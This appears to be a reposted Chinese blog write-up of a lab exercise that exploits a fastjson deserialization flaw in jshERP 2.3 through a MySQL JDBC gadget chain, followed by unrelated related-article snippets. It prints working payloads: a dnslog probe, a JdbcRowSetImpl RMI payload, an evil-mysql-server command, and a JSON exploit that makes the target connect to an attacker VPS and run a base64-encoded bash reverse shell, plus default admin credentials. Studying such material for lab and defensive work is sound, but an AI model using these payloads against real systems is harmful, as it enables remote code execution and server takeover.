fastjson 反序列化之mysql JDBC 利用

news2025/3/11 0:36:55

前言:
在打春秋云境Exchange 靶场时,入口点是华夏ERP 2.3版本系统,存在fastjson 反序列化漏洞,在尝试常见的fastjson利用链反弹shell都没有反应,最终使用mysql JDBC利用链反弹shell成功。在此记录一下。

复现本地靶场搭建

在打靶场过程中,迟迟没有利用成功,在本地搭建靶场先进行反序列化利用测试,github下载jshERP-2.3版本源码。
本地用到的工具和数据库环境:

1. IntelliJ IDEA 2020.3.2(使用tomcat 8.5.34,jdk8)
2. 10.3.7-MariaDB(mysql 5.7

1、使用IDEA打开下载的jshERP-2.3项目源码,修改配置文件

修改application.properties配置文件的数据库连接用户密码

在这里插入图片描述

我这里使用的tomcat为8.5.34版本

在这里插入图片描述

2、导入数据库

本地创建jsh_erp数据库,导入jsh_erp.sql文件执行生成表数据

在这里插入图片描述

3、运行靶场

运行ErpApplication 入口文件,启动靶场,无报错成功运行。

在这里插入图片描述

4、反序列化利用

靶场入口是华夏ERP系统,默认管理员账号密码可以进行登录:admin/123456

在这里插入图片描述
登录到后台,华夏ERP系统历史版本中存在很多漏洞的,包括fastjson 反序列化漏洞,这里在用户管理查询中触发

在这里插入图片描述

验证fastjson 反序列化漏洞存在payload:


{"@type":"java.net.Inet4Address","val":"fvnp2k.dnslog.cn"}
进行url编码后在search值发送

burp中进行数据包发送
在这里插入图片描述
dnslog收到消息
在这里插入图片描述

后续中在利用fastjson 反序列化执行命令都是无一失败,IDEA中看到都是类似失败提示not support com.sun.rowset.JdbcRowSetImpl,不支持这些利用链如下,还有更多的这里没有列出来

exp:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://xxx.xx.xx.xx:1099/Exploit", "autoCommit":true
}

在这里插入图片描述

在搜索fastjson 反序列化与JDBC之后发现可以使用fastjson加mysql反序列化,细看了解之后复现测试
参考1:

在这里插入图片描述

http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA

参考2:
在这里插入图片描述

https://www.cnblogs.com/kingbridge/articles/16720318.html

从华夏ERP源码配置使用的依赖符合触发条件

在这里插入图片描述

evil-mysql-server、ysoserial-all.jar

在复现中需要使用到evil-mysql-server、ysoserial-all.jar 反序列化利用工具

evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial
在这里插入图片描述

ysoserial-all.jar: java反序列利用神器

下载地址:
https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial

反弹shell

在vps服务器上下载evil-mysql-server、ysoserial-all.jar工具回来放在同一目录下,执行命令运行

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

用到的Fastjson 反序列化exp ,只需要修改vpsIP地址和要执行的命令(base64编码后的命令)

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vpsIP地址",
		"portToConnectTo": 3306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

url编码后发送

在这里插入图片描述

vps中收到了数据请求,由于靶场是windows系统不能反弹shell,但是可以看到靶场服务器向vps请求, 执行了恶意的反序列化代码

在这里插入图片描述

最后发现可行之后,也是立马开启了春秋云境Exchange 靶场,使用fastjson+mysql JDBC利用链反弹shell成功

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/433423.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT安装mysql驱动和使用ODBC连接mysql

文章目录 QT安装mysql驱动和使用ODBC连接mysql使用驱动连接mysql编译mysql驱动连接mysql 使用ODBC连接mysql QT安装mysql驱动和使用ODBC连接mysql 上一篇博文中提到了mysql的使用,但是很多人在使用新版Qt连接mysql的时候出现连接不上或者是没有mysql驱动的问题&…

不懂就问,Milvus 新上线的资源组功能到底怎么样?

在近期更新的 Milvus 2.x 版本中,我们上线了在社区中呼声一直很高的【资源组功能】。有了这个功能,用户再也不需要“为每个 collection 部署一套 Milvus 服务”的方案,轻松实现对 Query Node 资源进行分组管理,达到物理资源隔离的…

【C++】STL中的容器适配器 stack queue 和 priority_queue 的模拟实现

STL中的容器适配器 一、容器适配器1、什么是容器适配器2、STL标准库中的容器适配器 二、stack的模拟实现1、stack的简单介绍2、栈的模拟实现 三、queue的模拟实现1、queue的简单介绍2、queue的模拟实现 四、priority_queue的模拟实现1、priority_queue的简单介绍2、priority_qu…

家用洗地机哪款好用?好用的洗地机分享

要说现在家居清洁用什么单品更省心,洗地机必须要算一项。虽然这在国际上也不是什么新鲜的概念了,但是在国内兴起也只是这几年的事,关于家用洗地机什么牌子最好之类的问题也是很多人都比较关心的问题。我个人也是不喜欢做家务的,家…

Anaconda及其他说明及安装

来自神秘人的投稿! 以下内容来源于官方视频说明:Anaconda Distribution versus Miniconda和其他整理与添加。 一、基础信息了解 1. 什么是Anaconda Anaconda Distribution:形象的比喻——一台笔记本电脑,一切都组装好了&#x…

利用用户生成内容来促进您的 WooCommerce 商店的销售

用户生成内容 (UGC) 是由对品牌或其产品和服务进行评论或评论的消费者创建的内容。它可以包括评论、照片、博客文章、推文或任何类型的社交媒体内容。 UGC 可以应品牌要求制作,也可以由产品用户独立制作。当用户生成的内容是独立制作的时候——比如一个新布加迪手…

UG NX二次开发(C#)-建模-移除特征参数

文章目录 1、前言2、在UG NX中的操作3、 利用UFun函数实现1、前言 UG NX建模方式是采用特征建模的,创建一个对象都是一个特征,这在历史记录中可以查看特征的建模历史、特征的参数已经特征之间的关联关系。有时为了设计的需要,需要去除特征之间的关联关系,那么就要移除特征…

【硬件外设使用】——ADC

【硬件外设使用】——ADC ADC基本概念ADC使用方法pyb.adcmachine.adc ADC可用的传感器 ADC基本概念 ADC是模拟数字转换器(Analog-to-Digital Converter)的缩写,它是一种将模拟信号转换成数字信号的电子元件。 ADC广泛用于测量和监测领域&…

sggJava基础第四天

1 分支结构 分支结构 根据条件,选择性地执行某段代码。 有if…else和switch-case两种分支语句。 概述 顺序结构的程序虽然能解决计算、输出等问题 但不能做判断再选择。对于要先做判断再选择的问题就要使用分支结构 if…else形式 单分支结构 代码实现 …

leetcode160. 相交链表

给你两个单链表的头节点 headA 和 headB ,请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点,返回 null 。 图示两个链表在节点 c1 开始相交: 题目数据 保证 整个链式结构中不存在环。 注意,函数返回结果后&…

把脉分布式事务的模型、协议和方案

在当前的技术发展阶段,不同的业务场景对一致性、可靠性、易用性、性能等要求不同,应用架构可以根据实际场景的需求,灵活选择合适的分布式事务解决方案。行业中把分布式事务解决方案分为刚性事务方案和柔性事务方案这两大类。 就刚性事务这个…

leetcode328. 奇偶链表

给定单链表的头节点 head ,将所有索引为奇数的节点和索引为偶数的节点分别组合在一起,然后返回重新排序的列表。 第一个节点的索引被认为是 奇数 , 第二个节点的索引为 偶数 ,以此类推。 请注意,偶数组和奇数组内部的相…

CentOS 7安装GitLab、创建用户、创建Repo、拉取推送

效果图 前言 gitlab全球出名,包含免费的社区版CE、收费的企业版EE,在国内安装速度一般; gitlab极狐版是中国特供版,用起来就跟CE一样,推荐国内使用~ 实现步骤 - 安装&配置 先准备好gitlab服务对外的访问地址&am…

技术分享 | MySQL级联复制下进行大表的字段扩容

作者:雷文霆 爱可生华东交付服务部 DBA 成员,主要负责Mysql故障处理及相关技术支持。爱好看书,电影。座右铭,每一个不曾起舞的日子,都是对生命的辜负。 本文来源:原创投稿 *爱可生开源社区出品,…

使用Vite工具构建OpenLayers应用

vite作为最近大火的前端构建工具,吸引了大批开发者和工具框架作者的关注。vite自称为下一代的构建工具,这是要取代webpack的节奏啊。openlayers最新版本的案例代码就使用了vite来构建,因此这一篇文章我们来给大家示范一下如何使用vite来构建一个基于openlayers的应用。 首先…

从「搭子」文化,看融云如何助力垂类社交应用增长

互联网人拜佛 be like 👆,主打的就是一个垂直和精准。关注【融云全球互联网通信云】了解更多 其实,这也是年轻人的交友现状。最近随着大学生“特种兵式”旅游出圈的“搭子”友情,就是这样。 “搭子”,AKA 垂直细分领…

怎么把图片拼接成长图,3招教你快速处理

怎么把图片拼接成长图的方法,有没有快速便捷可一键操作的呢?当我们把图片拼接成长图有很多优点,比如说我们在图片文件传输的时候就更加快捷方便,还有就是我们在图片展示的时候更加统一。虽然有这么多优点,但是如果我们…

【RobotFramework自动化测试】

robotframework介绍 RF是一个基于Python语言开发的,可扩展的,是以关键字驱动模式的自动化测试框架。RF最新的版本是2019 年7月份发布,7月份之前只支持python2.7,7月之后支持3.X的版本 robotframework的安装 安装python环境&…

【JUC】CAS

【JUC】CAS 文章目录 【JUC】CAS1. 概述2. Unsafe类 1. 概述 在Java并发编程中,CAS是一种非阻塞的算法,即Compare and Swap(比较并交换)。 CAS通过比较内存中某个位置的值和预期值,如果相同,则将该位置的…

springcloud各个组件搭配使用演示

springcloud各个组件使用demo Eureka服务注册中心 创建三个eureka服务注册中心,分别为: eureka-server1 spring:application:name: eureka-server1 server:port: 8001eureka:client:service-url:defaultZone: http://localhost:8002/eureka/,http://localhost:8003/eureka/…